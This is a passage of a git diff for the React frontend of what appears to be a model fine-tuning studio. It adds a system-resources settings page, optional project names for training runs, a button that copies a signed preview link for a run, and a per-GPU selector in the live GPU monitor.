+    );
+    const vramUsed = devices.reduce(
+      (sum, device) => sum + (device.vram_used_gb ?? 0),
+      0,
+    );
+    const vramFree = devices.reduce(
+      (sum, device) =>
+        sum +
+        (device.vram_free_gb ??
+          Math.max(0, (device.memory_total_gb ?? 0) - (device.vram_used_gb ?? 0))),
+      0,
+    );
+    const vramPercent = vramTotal > 0 ? (vramUsed / vramTotal) * 100 : 0;
+
+    return {
+      devices,
+      ramTotal,
+      ramUsed,
+      diskTotal,
+      diskFree,
+      diskUsed,
+      vramTotal,
+      vramUsed,
+      vramFree,
+      vramPercent,
+    };
+  }, [systemInfo]);
+
+  const handleModelsFolder = async () => {
+    const folder = modelsFolder;
+    if (!folder) return;
+    if (isTauri) {
+      try {
+        await openModelsDir(folder.path);
+      } catch (error) {
+        toast.error(t("settings.resources.storage.openError"), {
+          description: error instanceof Error ? error.message : undefined,
+        });
+      }
+      return;
+    }
+    if (await copyToClipboard(folder.path)) {
+      toast.success(t("settings.resources.storage.copied"));
+    } else {
+      toast.error(t("settings.resources.storage.copyError"));
+    }
+  };
+
+  const cpuCoresLabel =
+    systemInfo.cpu?.logical_count && systemInfo.cpu?.physical_count
+      ? t("settings.resources.liveMonitor.cpuCores", {
+          logical: systemInfo.cpu.logical_count,
+          physical: systemInfo.cpu.physical_count,
+        })
+      : t("settings.resources.environment.unknown");
+  const cpuFrequencyLabel = formatFrequency(systemInfo.cpu?.frequency_mhz);
+  const hasGpu =
+    (systemInfo.gpu?.available ?? false) && metrics.devices.length > 0;
+  const backendLabel = (
+    systemInfo.gpu?.backend ?? systemInfo.device_backend ?? "cpu"
+  ).toUpperCase();
+  const modelsFolderPath = modelsFolder
+    ? modelsFolder.path
+    : modelsFolderLoaded
+      ? t("settings.resources.environment.unknown")
+      : t("common.loading");
+
+  return (
+    <div className="flex flex-col gap-6">
+      <header className="flex flex-wrap items-start justify-between gap-3">
+        <div className="flex min-w-0 flex-col gap-1">
+          <h1 className="text-xl font-semibold font-heading">
+            {t("settings.resources.title")}
+          </h1>
+          <p className="text-xs text-muted-foreground">
+            {t("settings.resources.description")}
+          </p>
+        </div>
+        <div className="flex items-center gap-3">
+          <Button
+            variant={isOpen ? "secondary" : "outline"}
+            size="sm"
+            className="gap-1.5 h-8 text-xs rounded-full px-3"
+            onClick={() => setIsOpen(!isOpen)}
+          >
+            <LayersIcon className="size-3.5" />
+            {isOpen
+              ? t("settings.resources.disableOverlay")
+              : t("settings.resources.floatingWindow")}
+          </Button>
+
+          <div className="flex shrink-0 items-center gap-2 rounded-full border border-border/60 px-2.5 py-1.5 text-xs font-medium text-foreground">
+            <span>{t("settings.resources.liveUpdates")}</span>
+            <Switch
+              aria-label={t("settings.resources.liveUpdates")}
+              checked={liveUpdates}
+              onCheckedChange={setLiveUpdates}
+            />
+          </div>
+        </div>
+      </header>
+
+      <SettingsSection title={t("settings.resources.liveMonitor.title")}>
+        <div className="grid gap-2 py-3 sm:grid-cols-2">
+          <MetricTile
+            label={t("settings.resources.liveMonitor.cpu")}
+            value={cpuFrequencyLabel ?? cpuCoresLabel}
+            detail={
+              cpuFrequencyLabel
+                ? cpuCoresLabel
+                : t("settings.resources.liveMonitor.currentLoad")
+            }
+            percent={systemInfo.cpu?.usage_percent ?? 0}
+          />
+          <MetricTile
+            label={t("settings.resources.liveMonitor.ram")}
+            value={`${formatGiB(metrics.ramUsed)} / ${formatGiB(metrics.ramTotal)}`}
+            detail={t("settings.resources.liveMonitor.free", {
+              value: formatGiB(systemInfo.memory?.available_gb),
+            })}
+            percent={systemInfo.memory?.percent_used ?? 0}
+          />
+          <MetricTile
+            label={t("settings.resources.liveMonitor.disk")}
+            value={`${formatGb(metrics.diskUsed)} / ${formatGb(metrics.diskTotal)}`}
+            detail={t("settings.resources.liveMonitor.free", {
+              value: formatGb(metrics.diskFree),
+            })}
+            percent={systemInfo.disk?.percent_used ?? 0}
+          />
+          <MetricTile
+            label={t("settings.resources.liveMonitor.vram")}
+            value={
+              hasGpu
+                ? `${formatGiB(metrics.vramUsed)} / ${formatGiB(metrics.vramTotal)}`
+                : t("settings.resources.liveMonitor.noGpu")
+            }
+            detail={
+              hasGpu
+                ? t("settings.resources.liveMonitor.free", {
+                    value: formatGiB(metrics.vramFree),
+                  })
+                : backendLabel
+            }
+            percent={metrics.vramPercent}
+          />
+        </div>
+      </SettingsSection>
+
+      <SettingsSection title={t("settings.resources.gpu.title")}>
+        {hasGpu ? (
+          metrics.devices.map((device, index) => {
+            const ordinal = deviceOrdinal(device);
+            const total = device.memory_total_gb ?? 0;
+            const used = device.vram_used_gb ?? 0;
+            const free = device.vram_free_gb ?? Math.max(0, total - used);
+            const percent =
+              device.vram_utilization_pct ??
+              (total > 0 ? (used / total) * 100 : null);
+            const safePercent = clampPercent(percent);
+            return (
+              <div
+                key={`${device.index ?? index}-${device.name ?? "gpu"}`}
+                className="flex min-w-0 flex-col gap-2 py-3"
+              >
+                <div className="flex min-w-0 items-start justify-between gap-4">
+                  <div className="min-w-0 flex-1">
+                    <div className="truncate text-sm font-medium text-foreground">
+                      {device.name ??
+                        t("settings.resources.gpu.unknownDevice")}
+                    </div>
+                    <div className="mt-0.5 truncate text-xs text-muted-foreground">
+                      {ordinal === undefined
+                        ? backendLabel
+                        : `${t("settings.resources.gpu.deviceWithIndex", {
+                            index: ordinal,
+                          })}, ${backendLabel}`}
+                    </div>
+                  </div>
+                  <div className="shrink-0 font-mono text-xs tabular-nums text-muted-foreground">
+                    <span>
+                      {formatPercent(safePercent)}{" "}
+                      {t("settings.resources.gpu.vramUtilization")}
+                    </span>
+                  </div>
+                </div>
+                <div className="grid gap-1 text-xs text-muted-foreground sm:grid-cols-3 sm:gap-2">
+                  <span className="min-w-0 truncate font-mono tabular-nums">
+                    {t("settings.resources.gpu.used", {
+                      value: formatGiB(used),
+                    })}
+                  </span>
+                  <span className="min-w-0 truncate font-mono tabular-nums sm:text-center">
+                    {t("settings.resources.gpu.free", {
+                      value: formatGiB(free),
+                    })}
+                  </span>
+                  <span className="min-w-0 truncate font-mono tabular-nums sm:text-right">
+                    {t("settings.resources.gpu.total", {
+                      value: formatGiB(total),
+                    })}
+                  </span>
+                </div>
+                <Progress
+                  value={safePercent}
+                  aria-label={device.name ?? "GPU"}
+                  className="h-1.5 rounded-full bg-muted"
+                  indicatorClassName={usageIndicatorClass(safePercent)}
+                />
+              </div>
+            );
+          })
+        ) : (
+          <div className="py-3 text-sm text-muted-foreground">
+            {t("settings.resources.gpu.noGpu")}
+          </div>
+        )}
+      </SettingsSection>
+
+      <SettingsSection title={t("settings.resources.storage.title")}>
+        <InfoRow
+          label={t("settings.resources.storage.systemDisk")}
+          value={t("settings.resources.storage.diskUsage", {
+            used: formatGb(metrics.diskUsed),
+            total: formatGb(metrics.diskTotal),
+          })}
+          detail={t("settings.resources.storage.diskFree", {
+            free: formatGb(metrics.diskFree),
+          })}
+        />
+        <SettingsRow
+          label={t("settings.resources.storage.modelsFolder")}
+          description={t("settings.resources.storage.modelsFolderDescription")}
+          className="max-sm:flex-col max-sm:items-start max-sm:gap-2"
+        >
+          <div className="flex min-w-0 items-center gap-2 max-sm:max-w-[calc(100vw-5rem)]">
+            <span
+              title={modelsFolder?.path}
+              className="min-w-0 max-w-[280px] truncate font-mono text-xs text-muted-foreground max-sm:max-w-[180px]"
+            >
+              {modelsFolderPath}
+            </span>
+            <Button
+              variant="outline"
+              size="sm"
+              disabled={!modelsFolder}
+              onClick={() => void handleModelsFolder()}
+            >
+              {isTauri
+                ? t("settings.resources.storage.openAction")
+                : t("settings.resources.storage.copyAction")}
+            </Button>
+          </div>
+        </SettingsRow>
+      </SettingsSection>
+
+      <SettingsSection title={t("settings.resources.environment.title")}>
+        <InfoRow
+          label={t("settings.resources.environment.backend")}
+          value={backendLabel}
+        />
+        <InfoRow
+          label={t("settings.resources.environment.python")}
+          value={systemInfo.python_version}
+        />
+        <InfoRow
+          label={t("settings.resources.environment.torch")}
+          value={
+            systemInfo.ml_packages.torch ??
+            t("settings.resources.environment.notInstalled")
+          }
+        />
+        <InfoRow
+          label={t("settings.resources.environment.transformers")}
+          value={
+            systemInfo.ml_packages.transformers ??
+            t("settings.resources.environment.notInstalled")
+          }
+        />
+        <InfoRow
+          label={t("settings.resources.environment.uptime")}
+          value={formatUptime(systemInfo.uptime_seconds)}
+        />
+        <InfoRow
+          label={t("settings.resources.environment.processMemory")}
+          value={formatMb(systemInfo.memory?.process_used_mb)}
+        />
+      </SettingsSection>
+    </div>
+  );
+}
diff --git a/studio/frontend/src/features/studio/historical-training-view.tsx b/studio/frontend/src/features/studio/historical-training-view.tsx
index 0bca090413..2f80fc29ca 100644
--- a/studio/frontend/src/features/studio/historical-training-view.tsx
+++ b/studio/frontend/src/features/studio/historical-training-view.tsx
@@ -78,6 +78,7 @@ function mapToViewData(
     error: run.status === "error" ? run.error_message : null,
     isTrainingRunning: false,
     modelName: run.display_name ?? run.model_name,
+    projectName: run.project_name,
     trainingMethod: parseBackendTrainingMethod(
       detail.config?.training_type,
       detail.config?.load_in_4bit,
diff --git a/studio/frontend/src/features/studio/history-card-grid.tsx b/studio/frontend/src/features/studio/history-card-grid.tsx
index dbe7fff01b..bd76171ce2 100644
--- a/studio/frontend/src/features/studio/history-card-grid.tsx
+++ b/studio/frontend/src/features/studio/history-card-grid.tsx
@@ -15,6 +15,8 @@ import { Button } from "@/components/ui/button";
 import type { TrainingRunSummary } from "@/features/training";
 import {
   deleteTrainingRun,
+  getTrainingRunDisplayTitle,
+  getTrainingRunModelSubtitle,
   emitTrainingRunDeleted,
   listTrainingRuns,
   onTrainingRunDeleted,
@@ -24,7 +26,10 @@ import {
   useTrainingRuntimeStore,
 } from "@/features/training";
 import { formatDuration } from "@/features/studio/sections/progress-section-lib";
+import { fetchDeviceType, usePlatformStore } from "@/config/env";
 import { cn } from "@/lib/utils";
+import { copyToClipboard } from "@/lib/copy-to-clipboard";
+import { toast } from "@/lib/toast";
 import { Delete02Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { type ReactElement, useCallback, useEffect, useRef, useState } from "react";
@@ -194,6 +199,28 @@ export function HistoryCardGrid({
   const [manualFetchInFlight, setManualFetchInFlight] = useState(false);
   const { resumeTrainingRunFromHistory } = useTrainingActions();
   const isStarting = useTrainingRuntimeStore((state) => state.isStarting);
+  // Copy-link base: Cloudflare tunnel > LAN host:port > origin. The tunnel
+  // registers shortly after startup, so poll (bounded) until it shows.
+  const cloudflareUrl = usePlatformStore((s) => s.cloudflareUrl);
+  const serverUrl = usePlatformStore((s) => s.serverUrl);
+  useEffect(() => {
+    if (cloudflareUrl) return;
+    let cancelled = false;
+    void (async () => {
+      for (let attempt = 0; attempt < 12 && !cancelled; attempt++) {
+        try {
+          await fetchDeviceType({ force: true });
+        } catch {
+          // Ignore startup blips; copy-link falls back to serverUrl/origin.
+        }
+        if (cancelled || usePlatformStore.getState().cloudflareUrl) return;
+        await new Promise((r) => setTimeout(r, 2500));
+      }
+    })();
+    return () => {
+      cancelled = true;
+    };
+  }, [cloudflareUrl]);
 
   const userControllerRef = useRef<AbortController | null>(null);
   const pollControllerRef = useRef<AbortController | null>(null);
@@ -362,6 +389,15 @@ export function HistoryCardGrid({
           const isRunning = run.status === "running";
           const canResume = run.can_resume && !wasContinued;
           const isResuming = resumeTarget === run.id;
+
+          const title = getTrainingRunDisplayTitle(run);
+          const modelSubtitle = getTrainingRunModelSubtitle(run);
+
+          const projectSubtitle =
+            run.project_name && title !== run.project_name ? run.project_name : null;
+          // Backend /p ref + its capability token. Both are required: the link
+          // is useless (404s) without the signature, so don't offer to copy it.
+          const canCopyPreview = !!run.preview_ref && !!run.preview_sig;
           return (
             <div
               role="button"
@@ -372,7 +408,7 @@ export function HistoryCardGrid({
                 isRunning
                   ? "border-blue-400/50 dark:border-blue-500/30"
                   : "border-border/60",
-                canResume && "gap-2",
+                (canResume || canCopyPreview) && "gap-2",
               )}
               onClick={() => onSelectRun(run.id)}
               onKeyDown={(e) => {
@@ -411,19 +447,53 @@ export function HistoryCardGrid({
                   {isResuming ? t("studio.history.resuming") : t("studio.history.resumeTraining")}
                 </Button>
               )}
+              {canCopyPreview && (
+                <Button
+                  type="button"
+                  size="xs"
+                  variant="outline"
+                  className="absolute bottom-3 right-4 h-6 rounded-full px-2.5 text-[11px] leading-none shadow-sm"
+                  onClick={async (e) => {
+                    e.stopPropagation();
+                    // Encode each segment but keep "/" so the /p route matches.
+                    const ref = (run.preview_ref ?? "")
+                      .split("/")
+                      .map(encodeURIComponent)
+                      .join("/");
+                    const base = (
+                      cloudflareUrl ??
+                      serverUrl ??
+                      window.location.origin
+                    ).replace(/\/+$/, "");
+                    // The signature is a bearer capability carried as ?k=; the
+                    // recipient's page forwards it on its chat requests.
+                    const url = `${base}/p/${ref}?k=${encodeURIComponent(run.preview_sig ?? "")}`;
+                    const ok = await copyToClipboard(url);
+                    toast[ok ? "success" : "error"](
+                      t(
+                        ok
+                          ? "studio.history.previewLinkCopied"
+                          : "studio.history.previewLinkCopyFailed",
+                      ),
+                    );
+                  }}
+                >
+                  {t("studio.history.copyPreviewLink")}
+                </Button>
+              )}
               <div className="min-w-0">
                 <p
                   className="truncate text-sm font-medium"
-                  title={run.display_name ?? run.model_name}
+                  title={title}
                 >
-                  {run.display_name ?? run.model_name}
+                  {title}
                 </p>
-                {run.display_name && (
+                {modelSubtitle && (
                   <p
                     className="truncate text-xs text-muted-foreground"
-                    title={run.model_name}
+                    title={modelSubtitle}
                   >
-                    {run.model_name}
+                    {modelSubtitle}
                   </p>
                 )}
                 <p
@@ -432,9 +502,17 @@ export function HistoryCardGrid({
                 >
                   {run.dataset_name}
                 </p>
+                {projectSubtitle && (
+                  <p
+                    className="truncate text-xs text-muted-foreground/80"
+                    title={projectSubtitle}
+                  >
+                    {projectSubtitle}
+                  </p>
+                )}
               </div>
               {run.loss_sparkline && run.loss_sparkline.length >= 2 && (
-                <div className={cn(canResume && "h-7 overflow-hidden")}>
+                <div className={cn((canResume || canCopyPreview) && "h-7 overflow-hidden")}>
                   <Sparkline
                     values={run.loss_sparkline}
                     id={run.id}
diff --git a/studio/frontend/src/features/studio/live-training-view.tsx b/studio/frontend/src/features/studio/live-training-view.tsx
index e355655d54..cce39adbf4 100644
--- a/studio/frontend/src/features/studio/live-training-view.tsx
+++ b/studio/frontend/src/features/studio/live-training-view.tsx
@@ -33,6 +33,8 @@ export function LiveTrainingView(): ReactElement {
       evalEnabled: state.evalEnabled,
       outputDir: state.outputDir,
       isTrainingRunning: state.isTrainingRunning,
+      startModelName: state.startModelName,
+      startProjectName: state.startProjectName,
       lossHistory: state.lossHistory,
       lrHistory: state.lrHistory,
       gradNormHistory: state.gradNormHistory,
@@ -45,10 +47,16 @@ export function LiveTrainingView(): ReactElement {
   const config = useTrainingConfigStore(
     useShallow((state) => ({
       selectedModel: state.selectedModel,
+      projectName: state.projectName,
       trainingMethod: state.trainingMethod,
     })),
   );
 
+  const activeProjectName =
+    runtime.startProjectName !== null
+      ? runtime.startProjectName.trim() || null
+      : (config.projectName || "").trim() || null;
+
   const viewData: TrainingViewData = {
     phase: runtime.phase,
     currentStep: runtime.currentStep,
@@ -66,7 +74,8 @@ export function LiveTrainingView(): ReactElement {
     message: runtime.message,
     error: runtime.error,
     isTrainingRunning: runtime.isTrainingRunning,
-    modelName: config.selectedModel ?? "",
+    modelName: runtime.startModelName ?? config.selectedModel ?? "",
+    projectName: activeProjectName,
     trainingMethod: config.trainingMethod ?? "",
     lossHistory: runtime.lossHistory,
     lrHistory: runtime.lrHistory,
diff --git a/studio/frontend/src/features/studio/sections/params-section.tsx b/studio/frontend/src/features/studio/sections/params-section.tsx
index 059d665122..2609558145 100644
--- a/studio/frontend/src/features/studio/sections/params-section.tsx
+++ b/studio/frontend/src/features/studio/sections/params-section.tsx
@@ -229,6 +229,24 @@ export function ParamsSection(): ReactElement {
           : "h-studio-config-column"} duration-150`}
       >
         <div className="flex flex-col gap-4">
+          <div className="flex flex-col gap-2">
+            <span className="flex items-center gap-1.5 text-xs font-medium text-muted-foreground">
+              {t("studio.params.projectName")}
+              <span className="text-[10px] font-normal text-muted-foreground/70">
+                {t("studio.params.optional")}
+              </span>
+            </span>
+            <Input
+              value={store.projectName || ""}
+              onChange={(event) => store.setProjectName(event.target.value)}
+              placeholder="customer-support-lora"
+              maxLength={80}
+            />
+            <p className="text-[10px] text-muted-foreground">
+              {t("studio.params.projectNameDescription")}
+            </p>
+          </div>
+
           {/* Max Steps / Epochs */}
           <div className="flex flex-col gap-2">
             <div
diff --git a/studio/frontend/src/features/studio/sections/progress-section.tsx b/studio/frontend/src/features/studio/sections/progress-section.tsx
index de8605e021..9c9398688f 100644
--- a/studio/frontend/src/features/studio/sections/progress-section.tsx
+++ b/studio/frontend/src/features/studio/sections/progress-section.tsx
@@ -29,6 +29,7 @@ import {
 import { getTrainingMethodLabel } from "@/features/training/lib/training-methods";
 import type { TrainingViewData } from "@/features/training";
 import { useGpuUtilization } from "@/hooks";
+import type { GpuUtilization } from "@/hooks/use-gpu-utilization";
 import { cn } from "@/lib/utils";
 import {
   ChartAverageIcon,
@@ -42,7 +43,7 @@ import {
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { Link, useNavigate } from "@tanstack/react-router";
-import { type ReactElement, type ReactNode, useState } from "react";
+import { type ReactElement, type ReactNode, useEffect, useState } from "react";
 import { useShallow } from "zustand/react/shallow";
 import { ChartSettingsSheet } from "./charts/chart-settings-sheet";
 import {
@@ -123,18 +124,17 @@ export function ProgressSection({
   const [stopDialogOpen, setStopDialogOpen] = useState(false);
   const [stopRequestedLocal, setStopRequestedLocal] = useState(false);
 
-  // Auto-resets when training stops; no useEffect needed
   const stopRequested = data.isTrainingRunning && stopRequestedLocal;
 
   const pct =
     data.totalSteps > 0
       ? Math.min(
-          100,
-          Math.max(
-            0,
-            Math.round((data.currentStep / data.totalSteps) * 100),
-          ),
-        )
+        100,
+        Math.max(
+          0,
+          Math.round((data.currentStep / data.totalSteps) * 100),
+        ),
+      )
       : Math.round(data.progressPercent);
 
   const elapsed = data.elapsedSeconds;
@@ -214,16 +214,16 @@ export function ProgressSection({
     },
     ...(data.trainingMethod !== "full"
       ? [
-          {
-            section: "LoRA",
-            rows: [
-              configRow(t("studio.progress.rank"), cfgLoraRank),
-              configRow(t("studio.progress.alpha"), cfgLoraAlpha),
-              configRow(t("studio.progress.dropout"), cfgLoraDropout),
-              configRow(t("studio.progress.variant"), cfgLoraVariant),
-            ],
-          },
-        ]
+        {
+          section: "LoRA",
+          rows: [
+            configRow(t("studio.progress.rank"), cfgLoraRank),
+            configRow(t("studio.progress.alpha"), cfgLoraAlpha),
+            configRow(t("studio.progress.dropout"), cfgLoraDropout),
+            configRow(t("studio.progress.variant"), cfgLoraVariant),
+          ],
+        },
+      ]
       : []),
   ];
 
@@ -270,6 +270,11 @@ export function ProgressSection({
             >
               {t(phaseLabelKeys[data.phase])}
             </span>
+            {data.projectName && (
+              <span className="rounded-full border border-border/60 px-2.5 py-1 text-[10px] font-medium text-foreground/80">
+                {data.projectName}
+              </span>
+            )}
             <span className="text-[10px] tabular-nums text-muted-foreground">
               {t("studio.progress.epoch", {
                 value: formatNumber(data.currentEpoch, 2),
@@ -290,7 +295,7 @@ export function ProgressSection({
               </span>
               <span>{pct}%</span>
             </div>
-            <Progress value={pct} className="h-2 bg-foreground/[0.05]" />
+            <Progress value={pct} className="h-2 bg-foreground/5" />
           </div>
 
           {!isHistorical && (
@@ -307,7 +312,12 @@ export function ProgressSection({
             </p>
           )}
 
-          <div className="grid gap-x-4 gap-y-3 pt-1 sm:grid-cols-2 xl:grid-cols-5">
+          <div
+            className={cn(
+              "grid gap-x-4 gap-y-3 pt-1 sm:grid-cols-2",
+              data.projectName ? "xl:grid-cols-6" : "xl:grid-cols-5",
+            )}
+          >
             <MetricStat
               label={t("studio.progress.loss")}
               valueClassName="text-2xl font-bold tracking-tight"
@@ -318,6 +328,11 @@ export function ProgressSection({
             <MetricStat label={t("studio.progress.gradNorm")}>
               {formatNumber(stoppedGradNorm, 3)}
             </MetricStat>
+            {data.projectName && (
+              <MetricStat label={t("studio.progress.project")} valueClassName="truncate">
+                {data.projectName}
+              </MetricStat>
+            )}
             <MetricStat label={t("studio.progress.model")} valueClassName="truncate">
               {data.modelName || "--"}
             </MetricStat>
@@ -335,8 +350,8 @@ export function ProgressSection({
               {stepsPerSecond == null
                 ? t("studio.progress.noStepsPerSecond")
                 : t("studio.progress.stepsPerSecond", {
-                    value: stepsPerSecond.toFixed(2),
-                  })}
+                  value: stepsPerSecond.toFixed(2),
+                })}
             </span>
             {data.currentNumTokens != null && (
               <span>{t("studio.progress.tokens", { value: data.currentNumTokens })}</span>
@@ -358,14 +373,50 @@ function LiveGpuPanel({
   isTrainingRunning: boolean;
 }): ReactElement {
   const t = useT();
-  const gpu = useGpuUtilization(isTrainingRunning);
+  const [selectedGpu, setSelectedGpu] = useState(0);
+  const gpuData = useGpuUtilization(isTrainingRunning);
+  const gpus: GpuUtilization[] =
+    Array.isArray(gpuData?.devices) && gpuData.devices.length > 0
+      ? gpuData.devices
+      : gpuData && Object.keys(gpuData).length > 0
+        ? [gpuData]
+        : [];
+
+  useEffect(() => {
+    if (selectedGpu > 0 && selectedGpu >= gpus.length) {
+      setSelectedGpu(0);
+    }
+  }, [gpus.length, selectedGpu]);
+
+  const gpuCount = gpus.length;
+  const currentGpu: Partial<GpuUtilization> = gpus[selectedGpu] || gpus[0] || {};
 
   return (
     <div className="flex flex-col gap-3">
-      <div className="flex items-center justify-between">
-        <p className="text-xs font-medium text-muted-foreground">
-          {t("studio.progress.gpuMonitor")}
-        </p>
+      <div className="flex items-center justify-between gap-4">
+        <div className="flex items-center gap-2">
+          <p className="text-xs font-medium text-muted-foreground">
+            {t("studio.progress.gpuMonitor")}
+          </p>
+          {gpuCount > 1 && (
+            <select
+              value={selectedGpu}
+              onChange={(e) => setSelectedGpu(Number(e.target.value))}
+              className="h-6 cursor-pointer rounded-md border border-border bg-popover px-1.5 py-0.5 text-[11px] text-popover-foreground outline-none hover:bg-muted focus:border-primary transition-colors font-medium appearance-none"
+              title="Select GPU"
+            >
+              {gpus.map((device, index) => (
+                <option
+                  key={device.index ?? index}
+                  value={index}
+                  className="bg-popover text-popover-foreground dark:bg-zinc-900 dark:text-zinc-100"
+                >
+                  GPU {device.visible_ordinal ?? index} - {device.backend} ({device.vram_total_gb ? `${Math.round(device.vram_total_gb)}GiB` : "N/A"})
+                </option>
+              ))}
+            </select>
+          )}
+        </div>
         <span className="text-[11px] text-muted-foreground">
           {t("studio.progress.live")}
         </span>
@@ -373,51 +424,44 @@ function LiveGpuPanel({
       <div className="grid grid-cols-2 gap-2.5">
         <GpuStat
           label={t("studio.progress.utilization")}
-          icon={
-            <HugeiconsIcon
-              icon={DashboardSpeed01Icon}
-              className="size-3.5"
-            />
-          }
+          icon={<HugeiconsIcon icon={DashboardSpeed01Icon} className="size-3.5" />}
           value={
-            gpu.gpu_utilization_pct != null
-              ? `${gpu.gpu_utilization_pct}%`
+            currentGpu.gpu_utilization_pct != null
+              ? `${currentGpu.gpu_utilization_pct}%`
               : "--"
           }
-          pct={gpu.gpu_utilization_pct ?? 0}
+          pct={currentGpu.gpu_utilization_pct ?? 0}
         />
         <GpuStat
           label={t("studio.progress.temperature")}
-          icon={
-            <HugeiconsIcon icon={TemperatureIcon} className="size-3.5" />
-          }
+          icon={<HugeiconsIcon icon={TemperatureIcon} className="size-3.5" />}
           value={
-            gpu.temperature_c != null ? `${gpu.temperature_c}°C` : "--"
+            currentGpu.temperature_c != null ? `${currentGpu.temperature_c}°C` : "--"
           }
-          pct={gpu.temperature_c ?? 0}
+          pct={currentGpu.temperature_c ?? 0}
           max={100}
         />
         <GpuStat
           label={t("studio.progress.vram")}
           icon={<HugeiconsIcon icon={RamMemoryIcon} className="size-3.5" />}
           value={
-            gpu.vram_used_gb != null && gpu.vram_total_gb != null
-              ? `${gpu.vram_used_gb} / ${gpu.vram_total_gb} GB`
+            currentGpu.vram_used_gb != null && currentGpu.vram_total_gb != null
+              ? `${currentGpu.vram_used_gb} / ${currentGpu.vram_total_gb} GiB`
               : "--"
           }
-          pct={gpu.vram_utilization_pct ?? 0}
+          pct={currentGpu.vram_utilization_pct ?? 0}
         />
         <GpuStat
           label={t("studio.progress.power")}
           icon={<HugeiconsIcon icon={ZapIcon} className="size-3.5" />}
           value={
-            gpu.power_draw_w != null
-              ? gpu.power_limit_w != null
-                ? `${gpu.power_draw_w} / ${gpu.power_limit_w} W`
-                : `${gpu.power_draw_w} W`
+            currentGpu.power_draw_w != null
+              ? currentGpu.power_limit_w != null
+                ? `${currentGpu.power_draw_w} / ${currentGpu.power_limit_w} W`
+                : `${currentGpu.power_draw_w} W`
               : "--"
           }
-          pct={gpu.power_utilization_pct ?? 0}
+          pct={currentGpu.power_utilization_pct ?? 0}
         />
       </div>
     </div>
@@ -545,7 +589,10 @@ function TrainingHeaderActions({
           <HugeiconsIcon icon={StopIcon} className="size-3" />
           {stopRequested ? t("studio.training.stopping") : t("studio.training.stopAction")}
         </Button>
-        <AlertDialogContent overlayClassName="bg-background/40 supports-backdrop-filter:backdrop-blur-[1px]">
+        <AlertDialogContent
+          className="w-max max-w-[95vw]"
+          overlayClassName="bg-background/40 supports-backdrop-filter:backdrop-blur-[1px]"
+        >
           <AlertDialogHeader>
             <AlertDialogTitle>{t("studio.training.stopTitle")}</AlertDialogTitle>
             <AlertDialogDescription>
diff --git a/studio/frontend/src/features/training/api/mappers.ts b/studio/frontend/src/features/training/api/mappers.ts
index d4c800afe4..c2e23dbf3c 100644
--- a/studio/frontend/src/features/training/api/mappers.ts
+++ b/studio/frontend/src/features/training/api/mappers.ts
@@ -73,6 +73,7 @@ export function buildTrainingStartPayload(
 
   return {
     model_name: config.selectedModel ?? "",
+    project_name: (config.projectName || "").trim() || null,
     training_type: toBackendTrainingType(config.trainingMethod),
     hf_token: config.hfToken.trim() || null,
     load_in_4bit: (adapterMethod && isQloraMethod) || (isCpt && isFourBitModel),
diff --git a/studio/frontend/src/features/training/api/train-api.ts b/studio/frontend/src/features/training/api/train-api.ts
index af3ea347c2..609e4f8591 100644
--- a/studio/frontend/src/features/training/api/train-api.ts
+++ b/studio/frontend/src/features/training/api/train-api.ts
@@ -143,37 +143,46 @@ export async function streamTrainingProgress(options: {
   const decoder = new TextDecoder();
   let buffer = "";
 
-  while (true) {
-    const { value, done } = await reader.read();
-    if (done) {
-      break;
-    }
+  try {
+    while (true) {
+      const { value, done } = await reader.read();
+      if (done) {
+        break;
+      }
 
-    buffer += decoder.decode(value, { stream: true });
+      buffer += decoder.decode(value, { stream: true });
 
-    let separatorIndex = buffer.search(/\r?\n\r?\n/);
-    while (separatorIndex >= 0) {
-      const rawEvent = buffer.slice(0, separatorIndex);
-      const separatorLength = buffer[separatorIndex] === "\r" ? 4 : 2;
-      buffer = buffer.slice(separatorIndex + separatorLength);
+      let separatorIndex = buffer.search(/\r?\n\r?\n/);
+      while (separatorIndex >= 0) {
+        const rawEvent = buffer.slice(0, separatorIndex);
+        const separatorLength = buffer[separatorIndex] === "\r" ? 4 : 2;
+        buffer = buffer.slice(separatorIndex + separatorLength);
+
+        if (rawEvent.startsWith("retry:")) {
+          separatorIndex = buffer.search(/\r?\n\r?\n/);
+          continue;
+        }
+
+        try {
+          const event = parseSseEvent(rawEvent);
+          if (event) {
+            options.onEvent(event);
+          }
+        } catch (error) {
+          if (!isAbortError(error)) {
+            throw error;
+          }
+        }
 
-      if (rawEvent.startsWith("retry:")) {
         separatorIndex = buffer.search(/\r?\n\r?\n/);
-        continue;
       }
-
-      try {
-        const event = parseSseEvent(rawEvent);
-        if (event) {
-          options.onEvent(event);
-        }
-      } catch (error) {
-        if (!isAbortError(error)) {
-          throw error;
-        }
-      }
-
-      separatorIndex = buffer.search(/\r?\n\r?\n/);
+    }
+  } finally {
+    // Release the stream lock now instead of leaking the reader until GC.
+    try {
+      await reader.cancel();
+    } catch {
+      // already closed
     }
   }
 }
diff --git a/studio/frontend/src/features/training/hooks/use-training-actions.ts b/studio/frontend/src/features/training/hooks/use-training-actions.ts
index 8c2b3e9e77..2f04656c23 100644
--- a/studio/frontend/src/features/training/hooks/use-training-actions.ts
+++ b/studio/frontend/src/features/training/hooks/use-training-actions.ts
@@ -60,6 +60,7 @@ export function useTrainingActions() {
       config.selectedModel ?? null,
       getHfDatasetName(config),
       false,
+      config.projectName || "",
     );
     runtimeStore.setStarting(true);
 
@@ -152,7 +153,12 @@ export function useTrainingActions() {
 
       // Re-read config after potential store updates from dataset check
       const payload = buildTrainingStartPayload(useTrainingConfigStore.getState());
-      runtimeStore.setStartResources(payload.model_name, payload.hf_dataset, false);
+      runtimeStore.setStartResources(
+        payload.model_name,
+        payload.hf_dataset,
+        false,
+        payload.project_name ?? "",
+      );
       const response = await startTraining(payload);
 
       if (response.status === "error") {
@@ -196,7 +202,7 @@ export function useTrainingActions() {
   const resumeTrainingRunFromHistory = useCallback(async (runId: string): Promise<boolean> => {
     const runtimeStore = useTrainingRuntimeStore.getState();
     runtimeStore.setStartError(null);
-    runtimeStore.setStartResources(null, null, true);
+    runtimeStore.setStartResources(null, null, true, null);
     runtimeStore.setStarting(true);
 
     try {
@@ -220,7 +226,12 @@ export function useTrainingActions() {
         resume_from_checkpoint: outputDir,
       } as TrainingStartRequest;
 
-      runtimeStore.setStartResources(payload.model_name, payload.hf_dataset, true);
+      runtimeStore.setStartResources(
+        payload.model_name,
+        payload.hf_dataset,
+        true,
